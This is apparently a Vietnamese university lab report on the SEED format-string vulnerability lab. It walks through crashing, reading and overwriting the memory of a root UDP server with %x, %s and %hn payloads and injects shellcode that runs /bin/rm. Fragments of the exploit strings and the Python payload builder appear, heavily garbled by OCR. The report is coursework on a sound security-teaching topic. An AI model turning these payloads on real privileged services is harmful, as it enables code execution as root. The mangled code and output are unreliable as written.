Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 29 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
29
Dung lượng
240,25 KB
Nội dung
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_STRING (FORMAT-STRING VULNERABILITY LAB) Giảng viên hướng dẫn: Sinh viên thực hiện: Lớp: Mã số sinh viên: Nhóm: Khóa: PGS.TS Lương Thế Dũng Phạm Nguyễn Tiến Anh AT15H AT150702 13 2018-2023 TP Hồ Chí Minh, tháng 11 năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_STRING (FORMAT-STRING VULNERABILITY LAB) Nhận xét giáo viên hướng dẫn: Điểm báo cáo: Xác nhận giáo viên hướng dẫn: LỜI CẢM ƠN Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũnggiảng viên trực tiếp hướng dẫn, bảo, tạo điều kiện thuận lợi giúp đỡ chúng em q trình thực đề tài Để có thành ngày hơm nay, ngồi nỗ lực khơng ngừng nghỉ thành viên nhóm phần khơng nhỏ đóng góp nên thành cơng nhờ quan tâm, bảo, giúp đỡ thầy cơ, anh chị khóa bạn bè xung quanh Tuy có nhiều cố gắng nỗ lực thành viên để hoàn thiện đề tài, chắn đề tài “NGHIÊN CỨU LỖ HỔNG FORMAT-STRING (FORMATSTRING VULNERABILITY LAB)” chúng em nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hoàn thiện tốt đề tài nghiên cứu sau Chúng em xin chân thành cảm ơn! LỜI MỞ ĐẦU Ngày nay, với xu hướng chuyển đổi số mạnh mẽ doanh nghiệp, công ty, tổ chức dẫn đến việc tạo phần mềm quản lý, điều hành làm việc thiết yếu Bên cạnh đó, ảnh hưởng đại dịch COVID-19 thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm tạo vận hành tránh bị kẻ xấu công gây thiệt hại nghiêm trọng Đó lý để chúng em chọn chuyên đề Software Security đặc biệt nghiên cứu cách công lỗ hổng Format-String MỤC LỤC CHƯƠNG 1: TỔNG QUAN VỀ FORMAT-STRING Giới thiệu Hàm printf () C sử dụng để in chuỗi theo định dạng Đối số gọi chuỗi định dạng, xác định cách định dạng chuỗi Định dạng chuỗi sử dụng trình giữ chỗ đánh dấu ký tự % cho hàm printf () để điền liệu trình in Việc sử dụng chuỗi định dạng khơng giới hạn hàm printf (); nhiều hàm khác, chẳng hạn sprintf (), fprintf (), scanf (), sử dụng chuỗi định dạng Một số chương trình cho phép người dùng cung cấp toàn phần nội dung chuỗi định dạng Nếu nội dung khơng làm sạch, người dùng độc hại sử dụng hội để lấy chương trình để chạy mã tùy ý Một vấn đề gọi lỗ hổng định dạng chuỗi(format-string vulnerability) Mục tiêu Mục tiêu lab để sinh viên có kinh nghiệm trực tiếp lỗ hổng định dạng chuỗi cách đưa họ học lỗ hổng từ lớp học vào hành động Sinh viên cung cấp chương trình có lỗ hổng chuỗi định dạng; nhiệm vụ khai thác lỗ hổng để đạt điều sau thiệt hại: (1) làm hỏng chương trình, (2) đọc nhớ chương trình, (3) sửa đổi nhớ chương trình nghiêm trọng (4) đưa thực thi mã độc hại cách sử dụng đặc quyền truy cập chương trình nạn nhân Hậu cuối nguy hiểm chương trình dễ bị cơng chương trình đặc quyền, chẳng hạn root deamon, điều cung cấp cho kẻ công quyền truy cập root hệ thống CHƯƠNG 2: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ Tự TỪNG TASK Trước thực cơng để đơn giản hóa task cơng, vơ hiệu hóa ngẫu nhiên địa chỉ: Address Space Randomization Ubuntu số hệ thống dựa Linux khác sử dụng ngẫu nhiên hóa khơng gian địa để ngẫu nhiên hóa địa bắt đầu heap stack Điều làm cho việc đốn địa xác trở nên khó khăn; đoán địa bước quan trọng cơng Trong phịng thí nghiệm này, cần vơ hiệu hóa điều lệnh đây: 2.1 Task 1: Chương Trình Dễ Bị Tấn Công( The Vulnerable Program) Chúng ta cung cấp chương trình dễ bị cơng có lỗ hổng chuỗi định dạng Chương trình chương trình máy chủ Khi chạy, lắng nghe cổng UDP 9090 Bất gói UDP đến cổng này, chương trình liệu gọi myprint () để in liệu Máy chủ root daemon, tức chạy với đặc quyền root Bên hàm myprintf (), có lỗ hổng định dạng chuỗi Chúng ta khai thác lỗ hổng để đạt đặc quyền root Chúng ta compile chương trình máy chủ(server) cho có lỗ hổng chuỗi định dạng Trong biên dịch, làm cho ngăn xếp thực thi để chèn chạy mã riêng cách khai thác lỗ hổng bảo mật sau phòng thí nghiệm Chạy máy chủ(server) máy khách(client) VM, trước tiên chạy chương trình phía máy chủ(server) sử dụng đặc quyền root, sau lắng nghe thông tin cổng 9090 Chương trình máy chủ root daemon có quyền Sau đó, kết nối với máy chủ(server) từ máy khách(client) sử dụng lệnh ‘nc’ với -u cho biết UDP (vì máy chủ UDP server ) Ip địa máy cục - 127.0.0.1 cổng cổng UDP 9090 Điều thấy sau : ộ*® /bin/bash /bin/bash 69x23 [11/18/21]seed@VM:~$ cd Desktop/Lab8 [11/18/21]seed(ăvM:~/ /Labss gcc -z execstack -0 server server.c server.c: In íunction 1myprintt’: server.c:34:5: íormat not a string literal and no íormat arg ormat-seciirity] printf(msg); [11/18/21]seed@VM:~/ /LabSS sudo /server address of the input array: 0xbfa96cũũ address of the secret: 0x08048870 address of the 'target' variable: 0xũ804a044 value of the ebp value inside niyprintt(} is: 0xbfa96b58 It is working The value of the 'target' variable (atter): 0X11223344 The The The The The target1 /bin/bash B=! /bĩn/bash 80x22 [11/18/21]seed@VM:-ỉ ne -u 127.0.0.1 9090 It is working variable (betore): 0x11223344 Trong compile, nhận cảnh báo mà tạm thời bỏ qua Chúng ta gửi chuỗi "It is working." để kiểm tra chương trình thấy thứ gửi từ máy khách(client) in xác theo cách tương tự máy chủ(server), với số thông tin bổ sung 2.2 Task 2: Tìm Hiểu Layout of the Stack (Understanding the Layout of the Stack) Để tìm địa vị trí định, cố gắng xem giá trị trả chương trình máy chủ(server) nhắc để cung cấp thêm địa Để bắt đầu, thấy địa đối số ‘msg’ in đầu máy chủ(server output) Vì Return Address (2) byte đó, tính tốn địa giá trị trả 0xBFFFF0A0 - = 0xBFFFF09C Tiếp theo, để tìm địa điểm bắt đầu đệm (3), nhập byte ngẫu nhiên ký tự - @@@@ có giá trị ASCII gọi 40404040 Các ký tự lưu trữ đầu đệm chúng ký tự đệm hoàn toàn giá trị đưa đầu vào Vì vậy, nhập ký tự nhiều % 8x làm đầu vào để tìm giá trị lưu trữ địa từ địa chuỗi định dạng đến số địa ngẫu nhiên, hi vọng đệm bắt đầu Chúng ta cố gắng tìm kiếm giá trị ASCII 40404040, để xác định khác Chúng ta thấy kết sau cho thấy thơng điệp bí mật lưu trữ vùng đống ỉược in ra: [11/1! /21]seed@VM: / /Lab8$ sudo /servỉr The acdress input array: of 0xbffff0d ) The acdress secret: 0X08048870 of The acdress 'target' variable: of 0X0Ỉ04a044 The Vỉ lue of the '■darget' variable (betorè): 0X1 The et p value pÉÃ secretmessaạe insic e myprintto is: the the the L223344 0xbff f028 The Vỉlue of the 'target' variable (atter : 0X11’23344 Do đó, chún ig ta thành công việc ỉọc liệu heap cách lưu trữ địa củ a liệu heap ngăn xếp sau íó sử dụng trình định dạng% s vị trí đế đọ c nhớ lưu trữ địa sau lấy gá trị từ địa 2.5 Task 5: Thay Đôi Bộ Nhớ Của Server Program ’s Memory) Chương Trình Máy Chủ ( Change the Task 5.A: Thay đổi giá trị thành giá trị khác (Change the value to a different value Trong task phụ này, cân thay đôi nội dung biến mục tiêu thành thứ khác Nhiệm vụ bạn coi thính cơng bạn thay đơi thành khác, giá trịbất kế giá trị [11/19/21] seedPh/ /Lab8S sudo /SE The address (f the input array: OxbfffíGdO The address (f the secret: 0x08048870 The address (f the 'target' variable: Gx0804a0í The value of the 'target' variable (beíore): 0? rver 11223344 The ebp value inside myprintf() is: DỘO0O0ÒO00O0O30000000000000000000000 000000000000030000000000000000000000 000000000000030000000000000000000000 0000000000000300000000000000000 The value of the 'target' variable ( 3xbffff028 3OO3OOOOOOC000000000000000000000000000000000000000 3OO3OOOOOOC 000000000000000000000000000000000000000 3OO3OOOQOOC 300000000000000000000000000000000000000 ìttĩr): Í Điều cể thay đổi giá trị biến 'target' thành 0x123 Task 5.B: Th ay đồi giá trị thành 00 (Ch mge the value to 0x500) x5 Trong task piụ này, cần thay đổi ội dung biến mục tiêu thành n c li thành công giá trị biến trở giá trị cụ thể 0x500 Nhiệm vụ bạn c thành 0x500 hỉ The ebp value iniide myprintíO is: 0xbfffi028 0600000000000000íooooBBBBBBBoeèoeoooĐĐBBBBE B00100G0BBOĐ IBBBBOOOeBeBBBBBBBBBOOOBBBBBBBBBBBBBOBOOBBB 0090000000000000399Đ9Đ990O0O0999999Đ9Đ9900E 000 300990999 1000000099999999990000009999999990009090099 oooBOBBBBBBBBBBeiooeeBBBBBBBBBBOoooBBBBBBBE B66lOOBOBBBĐ IBBBB6BB000066666BBB00BB0000666666BB00BB000 ĐĐOĐĐĐĐĐĐĐĐĐ0000Ỉ00OOOĐ0000Đ900ĐĐĐĐĐĐĐĐĐĐĐE •BBBB0OO09000ĐĐĐĐ0BB09OOO666BB6BBBBBBBBĐ000 OOOOOOOOOOOO000BlOOOOOOOOOOOOOOOOOOOOOO 000lOOOOĐĐĐĐ 000100000000 1000000009000000000000000000000000000000000 OOOE 000100000000 1000000000009000000000000000000000000000000 00000000000000003OOOOOOOOOO000O99OOOO00O60E 9900000000009000ÍOOOOOOOBOBOOOOOOOOOOOOOBBE 000 IĐOOOĐĐOO IB000O00ĐĐĐĐĐĐOĐOBBBOO000ĐĐĐĐĐO66BBBOO00ĐĐĐ 60BBBBBBBBBBBBBBJ00B666B666B0B00000066666BE 099 100000900 IBBBB0OO6OOOBBBBBBBB6BO0OOOOOO666BBB6BOOOO9 09000090000000003O9999Đ90OO0O90OO99999Đ9O0E 000 100990909 1000000909999999900000009999999999000099009 BOBBBBBBBBBBOOBO3OO6BOBBBOO9OB0ĐOOO66B666BE OOOOOOOOOOOO000BỈBOOOOOOOOO0000OOOOOOOOO 090 1660BB0BĐ IBBBBOBOOOOOeOBBBBBBBBBBeeOBBBBBBBBBOOBBOOe B00 100000000 1000000009000000000099000900000000009900090 BOE 1000000000000000006000000000000000000000000 0000000000000000lOOOOOOOOOOOOOOOOOOOOOOOOOE000100000000 90000000000000003O0OOO00O000000O90OOOOO0O0E 000 100000000 IOOOO000OOOOOOOO0OOO000OO0OOOOOOOO0O0000O0O 9999 The value of the 'target' variable (after) Ox 19999599 Task 5.C: Thay đồi giá trị thành 0xFF9900 00 (Change the value to 0xFF990000) Task phụ tương tự task trước, ngo ại trừ giá trị mục tiêu sô lớn T rong cuộ c công chuỗi định dạng, gi I trị tổng sô ký tự in hàm printf (); việc in sô lượng lớn ký tự hàng Bạn cần sử dụng cách liếp cận nhanh Ý tưởng sử dụng % hn, thay % n, sửa đổi khơng gian nhớ hai byte thay v ì bơn byte Việc in 216 ký tự không nhiều thời gian Chúng ta chi; I khơng gan nhớ biến đích thành hai khơi nhớ, khơi c hai byte Chúng ta ch ỉ cần đ ặt khơi thành 0xFF99 đặt khơi cịn lại thành 0x0000 Điều có nghi a trongcuộc cơng bạn, bạn cần cung cấp hai địa chuỗi định dạng Trong công chuỗi đ nh dạng, việc thay đổi nội dung không gian trịrất rấtnhỏ nhỏlàlàkhá khákh khăn (vui lịng giải thích lý nhớ thành giáiátrị báo cáo); 0x00 trường hợp cực đoan Để đ ạt mục tiêu này, cần sử dụng kỹ thuật tràn Ý tưởng chúng :a tạo sơ lớn nhớ cho phép, phần iưới sơ đu ợc lưu trí (về bản, có sơ ngun bị tràn) Ví dụ: sơ 216 -• lưu trữ hông gian nhớ 16 bit, có lưu trữ Do đó, để 0, cần lấy sơ 216 = 65,536 Đầu tiên, cần chia thànhhai phin: 0xFF99 0x10000 Vì phương pháp little endian sử dụn g, 0xFF99 thêm vào 0x0804a046 103 thêm vào 0x0804a644 0xFF99 - 0x8 = 0xFF91 = 65425 '0x 0804a >46 ) 0x10000 - FF91 - 0x8 = 0x67 = 103 804a644) (0x0 V [11/2^/21] seed@VM:’S [ython -é ‘print "\x46\xi > bacíile [11/24/21]seed@VM:~$ ỈC -u 127.0.0.1 9990 < bi' :04\xŨ8\ 44\xa0\x04\x08%65425x%8Đ$hn%163x %81$hn idf: le 2.6 Task 6: Tiêm Mã Độc Vào Chương into the Server Program ) Code Trình Máy Chủ (Inject Malicious Bây sẵn sàng tới trọng tâm công này, tức đưa đoạn : nã độc hại và') chương trình máy c hủ| chúng tơi xóa tệp khỏi máy o nhiệm vụ chúng ta, giành chủ Nhiệm vụ đặt móng cl quyền kiểm sốt ho in tồn máy tính chủ Để thực task này, cân đưa : đoạn mã độc hại, định dạng nhị phân, vào máy chủ nhớ, sau sử dụng lỗ hổng chuỗi định dạng để sửa đổi hà n trả về, nhảy đến mã đưa trường địa trả hàm, v ậy vào c ia Để xóa tệp, chúng tỏi muốn mã độc hại thực lệnh / bin / rm ■ ;ách sử cụng :một chương trình ll, chẳng lạn / bin / bash Loại mã she gọi shellcode Trước t ên, tạo tệp có tên myfile phía máy chủ mà chúng tơi gắng : xóa tác vụ này: :[ll/25/21]sệed@VM:~/ /Lab8$ Ịs Ịconíig- err-ỉvBtOc myfilp ồrblt-ĩeed systemc - p ri' rate-e562099196b44e< 129 sýstemc -pri' fate-e562099196b44e_bytes(4, byteorder= Tittle1) contentị 4:8] = (ret addr + 2).tũ_bytes(4, byteorder=’Utt higher, louer = dìvt od(str addr, 0x10090) lower = (lower - 8) % (0X1 )090) higher - (hígher - ■ ower 8) % (0x10090) ỈO$hn%" + str(higher) + "x%8 L$h s+ str(lower: + "xỉí fnt = encode( 'lat‘ n-11) ! nt contentl 8:8 + len(f11)] = 100, Lt WÍU junp to a NŨP then to naliciois code Tiếp theo, nhập thông 'in sau ) máy chủ, sửa đổi địa trả 0xBF FF358 với g trị ngăn xếp c chứa mã độc hại Mã độc có lệnh rm xóa tệp tạo ' rướcđó máy chủ [11/25/ ,8xV8x! S(print ash\x68y s \x68/rm ;|> input ,[11/25/: 1]se( d@VM:~$ echo $(printf X9E\xF( \xFF\xBF(a@(ạ@\x9C\xF0\xFF\xBF")% 8x% 8x% 8x% 8x% ,8x% 8x%.8x%.8x%.8x%.8x%.íx% 8x%.8x5 8x%.8x%.8x%.8x%.8x%.8x%.8x%.48963%hn%.12637%hn "\x! 0\x90\x90\x90\x90\x9G\x&1 h 0